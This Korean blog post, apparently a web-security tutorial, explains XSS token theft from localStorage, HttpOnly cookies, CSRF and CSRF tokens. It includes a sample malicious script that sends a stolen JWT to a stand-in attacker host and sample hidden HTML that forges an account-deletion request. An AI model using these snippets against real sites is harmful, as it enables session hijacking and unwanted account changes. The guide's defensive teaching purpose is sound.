JWT, 아직도 localStorage에 저장하시나요? CSRF와 XSS 공격 완벽 방어 가이드

안녕하세요.

모던 웹 애플리케이션을 개발하면서 JWT 같은 인증 토큰을 다루는 것은 이제 거의 필수가 되었는데요.

그런데 이 중요한 토큰을 대체 '어디에' 저장해야 가장 안전할까 하는 질문에 대해서는, 생각보다 많은 개발자분들이 명확한 답을 내리기 어려워하십니다.

구현이 간편하다는 이유로 localStorage를 선택하는 경우가 많지만, 이는 우리 애플리케이션을 심각한 보안 위협에 노출시키는 지름길이 될 수 있거든요.

오늘은 왜 localStorage가 위험한 선택인지부터 시작해서, HttpOnly 쿠키와 CSRF 토큰을 조합한 '다층 방어(Defense in Depth)' 전략이 왜 현대 웹 보안의 표준으로 자리 잡았는지, 그 기술적인 원리를 A부터 Z까지 깊이 있게 파헤쳐 보겠습니다.

이 글을 끝까지 읽으시면, 단순히 '따라 하는' 보안이 아니라 '원리를 이해하고 적용하는' 보안에 대한 자신감을 얻게 되실 겁니다.

1. 비극의 시작 localStorage와 XSS 공격

많은 튜토리얼이나 간단한 예제에서 JWT를 localStorage에 저장하는 코드를 쉽게 찾아볼 수 있는데요.

localStorage.setItem()getItem()으로 다루기 쉽다는 점이 분명 매력적이기 때문입니다.

하지만 이 편리함 뒤에는 'XSS(Cross-Site Scripting)'라는 치명적인 위험이 도사리고 있습니다.

XSS는 공격자가 우리 웹사이트의 취약점을 이용해 악성 자바스크립트 코드를 삽입하고, 다른 사용자의 브라우저에서 그 코드를 실행시키는 공격 기법이거든요.

만약 우리 서비스의 댓글 창이나 게시판 입력 폼에 입력값 검증이 허술하다면, 공격자는 <script> 태그를 포함한 악성 코드를 데이터베이스에 저장할 수 있습니다.

그리고 다른 사용자가 이 댓글이나 게시글을 조회하는 순간, 해당 스크립트가 그 사용자의 브라우저에서 실행되는 겁니다.

// 공격자가 삽입한 악성 스크립트의 예시
const token = localStorage.getItem('jwt-token');
fetch('https://attacker-server.com/steal', {
  method: 'POST',
  body: JSON.stringify({ token: token })
});

localStorage에 저장된 데이터는 동일 출처(Same-Origin) 내의 모든 자바스크립트 코드로 자유롭게 접근이 가능한데요.

따라서 위와 같은 악성 스크립트가 실행되면, 사용자의 인증 토큰은 속수무책으로 탈취당해 공격자의 서버로 전송되고 맙니다.

이것이 바로 '세션 하이재킹'입니다.

공격자는 이 토큰을 이용해 정상적인 사용자인 것처럼 위장하여 우리의 API를 마음대로 호출하고, 사용자의 개인정보를 훔치거나 계정을 파괴하는 등 끔찍한 결과를 초래할 수 있습니다.

2. 1차 방어선 HttpOnly 쿠키

XSS 공격으로부터 토큰 탈취를 막기 위한 가장 기본적인 방어선이 바로 HttpOnly 속성을 가진 쿠키인데요.

서버가 브라우저에 쿠키를 전송할 때 Set-Cookie 헤더에 HttpOnly 플래그를 포함시키면, 해당 쿠키는 자바스크립트의 document.cookie API를 통한 접근이 원천적으로 차단됩니다.

Set-Cookie: jwt-token=eyJhbGciOiJIUzI...; HttpOnly; Secure; SameSite=Lax

이렇게 하면, 설령 우리 사이트에 XSS 취약점이 존재하여 악성 스크립트가 실행되더라도 공격자는 인증 토큰의 '값' 자체를 훔쳐갈 수 없게 됩니다.

토큰은 오직 브라우저에 의해서만 관리되며, 서버로 요청을 보낼 때 자동으로 Cookie 헤더에 담겨 전송될 뿐, 자바스크립트 코드 입장에서는 그 존재조차 알 수 없는 '유령' 같은 존재가 되는 겁니다.

하지만 여기서 안심해서는 안 되는데요.

HttpOnly는 토큰 '탈취'를 막아줄 뿐, XSS 공격 자체를 막아주는 해결책이 아니기 때문입니다.

만약 악성 스크립트가 브라우저에서 실행될 수 있는 환경이라면, 공격자는 토큰을 훔치는 대신 사용자의 권한을 빌려 '대신' API 요청을 보낼 수 있습니다.

예를 들어, 비밀번호를 변경하는 API 요청을 사용자가 모르는 사이에 날려버릴 수 있는 거죠.

따라서 HttpOnly는 어디까지나 피해를 줄여주는 '완화책'이며, 근본적인 XSS 방어(입력값 검증, 출력값 이스케이프 처리)는 반드시 병행되어야 합니다.

3. 새로운 위협의 등장 CSRF 공격

자, 이제 우리는 HttpOnly 쿠키를 사용해서 토큰을 안전하게(?) 보관하게 되었습니다.

하지만 안타깝게도 HttpOnly 쿠키는 'CSRF(Cross-Site Request Forgery)'라는 또 다른 유형의 공격에는 완전히 무력합니다.

CSRF는 이름 그대로 '요청을 위조'하는 공격인데요.

공격자는 사용자가 이미 로그인된 상태라는 점을 악용합니다.

피해자가 우리 서비스에 로그인하여 유효한 인증 쿠키를 발급받은 상태에서, 공격자가 만든 악의적인 웹사이트(예: '무료 쿠폰 받기' 이벤트 페이지)를 방문하도록 유도합니다.

그리고 그 웹사이트에는 우리 서비스의 API를 호출하는 <img> 태그나 <form>이 숨겨져 있습니다.

<!-- 공격자의 웹사이트 (evil.com) 에 숨겨진 코드 -->
<!-- 사용자가 이 페이지를 보기만 해도, 브라우저는 즉시 your-service.com 으로 요청을 보낸다 -->
<img src="https://your-service.com/api/user/delete" style="display:none" />

<!-- 혹은, 사용자가 '쿠폰 받기' 버튼을 누르면 계정 탈퇴 요청이 전송되도록 만든다 -->
<form action="https://your-service.com/api/user/delete" method="POST">
  <input type="submit" value="무료 최신폰 받기!">
</form>

사용자가 이 페이지에 접속하거나 버튼을 클릭하는 순간, 브라우저는 공격자가 심어놓은 your-service.com으로 요청을 보내게 되는데요.

이때 브라우저의 쿠키 정책에 따라, 해당 도메인(your-service.com)으로 보내는 모든 요청에는 인증 쿠키(HttpOnly 속성이더라도!)가 자동으로 첨부됩니다.

우리 서버 입장에서는 유효한 인증 쿠키가 포함된 정상적인 요청으로 보이기 때문에, 이것이 사용자의 실제 의도인지, 공격자에 의해 위조된 요청인지 구분할 방법이 없습니다.

결국 서버는 이 요청을 그대로 처리하게 되고, 사용자는 자신도 모르는 사이에 계정이 삭제되거나 비밀번호가 변경되는 등의 피해를 입게 되는 것입니다.

4. 최종 방어 전략 CSRF 토큰의 원리

CSRF 공격을 막으려면, 서버는 "이 요청이 정말 우리 웹사이트에서, 사용자의 정상적인 클릭에 의해 시작된 것이 맞는가?"를 확인할 수 있어야 하는데요.

이때 사용하는 것이 바로 'CSRF 토큰(또는 Anti-CSRF 토큰)'입니다.

동작 원리는 생각보다 간단합니다.

  1. 토큰 생성 및 전달: 사용자가 로그인에 성공하거나, 상태 변경이 필요한 페이지(예: 정보 수정 폼)에 처음 진입할 때, 서버는 암호학적으로 안전한, 예측 불가능한 랜덤 문자열(CSRF 토큰)을 생성합니다.

  2. 이중 저장: 서버는 이 토큰을 (1) 서버 측 세션에 저장하고, 동시에 (2) 클라이언트에게 전달하여 meta 태그나 숨겨진 input 필드에 저장하게 합니다.

  3. 요청 시 토큰 포함: 사용자가 폼을 제출하거나 중요한 API를 호출할 때, 클라이언트(자바스크립트)는 HTML에 저장된 CSRF 토큰을 읽어와서 요청 헤더(예: X-CSRF-Token)나 요청 본문에 포함시켜 서버로 전송합니다.

  4. 서버 측 검증: 요청을 받은 서버는, 요청에 포함된 CSRF 토큰과 자신의 세션에 저장해 두었던 CSRF 토큰을 비교합니다.

  5. 처리 결정: 두 토큰이 일치하면, "아, 이 요청은 우리 웹사이트에서 정상적으로 시작된 요청이구나"라고 신뢰하고 요청을 처리합니다.

    만약 토큰이 없거나 일치하지 않으면, CSRF 공격으로 간주하고 요청을 거부합니다.

이 방법이 왜 효과적일까요?

핵심은 브라우저의 '동일 출처 정책(Same-Origin Policy)'에 있습니다.

공격자의 웹사이트(evil.com)는 다른 출처인 우리 웹사이트(your-service.com)의 HTML 내용을 읽어올 수 없습니다.

따라서 공격자는 우리 서버가 페이지에 심어놓은 진짜 CSRF 토큰 값을 절대로 알 수 없고, 위조된 요청에 올바른 토큰을 포함시킬 수 없는 겁니다.

5. 자주 묻는 질문 CORS로는 CSRF를 막을 수 없나요?

"다른 사이트에서 보내는 요청"이라고 하면 많은 분들이 CORS(Cross-Origin Resource Sharing)를 떠올리시는데요.

하지만 안타깝게도 전통적인 CSRF 공격은 CORS 정책을 우회하도록 설계되어 있습니다.

브라우저는 웹의 하위 호환성을 위해, 특정 조건을 만족하는 요청(예: GET, HEAD, POST 메서드이면서 특정 Content-Type을 가지는 요청)을 **'단순 요청(Simple Request)'**으로 취급하거든요.

이 '단순 요청'은 CORS의 사전 확인 절차인 '프리플라이트(Preflight) 요청' 없이 바로 서버로 전송됩니다.

과거 HTML의 <form> 태그를 이용한 공격이 바로 이 '단순 요청'에 해당하기 때문에, CORS 정책만으로는 CSRF를 막을 수 없는 겁니다.

물론 Content-Type: application/json을 사용하는 최신 API들은 대부분 프리플라이트 요청의 대상이 되므로 CSRF에 대해 상대적으로 더 안전하지만, 그렇다고 해서 CSRF 토큰을 사용한 근본적인 방어가 불필요해지는 것은 결코 아닙니다.

결론 견고한 보안을 위한 다층 방어 전략

지금까지의 여정을 통해 우리는 localStorage의 위험성부터 HttpOnly 쿠키의 한계, 그리고 CSRF 토큰의 필요성까지 살펴보았는데요.

결론적으로, XSS와 CSRF 두 가지 위협으로부터 우리의 소중한 애플리케이션을 보호하기 위한 현재의 베스트 프랙티스는 다음과 같이 요약할 수 있습니다.

  • 인증 토큰 저장: JWT와 같은 중요한 인증 토큰은 반드시 HttpOnly, Secure, SameSite=Lax (또는 Strict) 속성을 모두 적용한 쿠키에 저장해야 합니다.

    이것이 XSS를 통한 토큰 '탈취'와 기본적인 CSRF 공격을 막는 1차 방어선입니다.

  • 요청 위조 방어: 사용자의 상태를 변경하는 모든 요청(POST, PUT, DELETE 등)에는 반드시 CSRF 토큰 검증 로직을 추가해야 합니다.

    이것이 정교한 CSRF 공격을 막는 2차 방어선입니다.

  • 근본적인 XSS 방어: 사용자가 입력한 데이터를 서버에 저장할 때는 항상 검증(Validation) 및 정제(Sanitization) 과정을 거치고, 화면에 출력할 때는 반드시 이스케이프(Escaping) 처리를 해야 합니다.

    이것이 모든 공격의 시작점인 XSS 취약점 자체를 제거하는 가장 근본적인 방어입니다.

이 세 가지 방어선을 함께 구축하는 '다층 방어' 접근법이야말로, 신뢰할 수 있는 웹 애플리케이션을 만들기 위한 필수적인 요건입니다.

보안은 결코 '나중에 추가하는 기능'이 아니라, 설계 단계부터 고려해야 할 아키텍처의 핵심이라는 점을 꼭 기억해 주셨으면 합니다.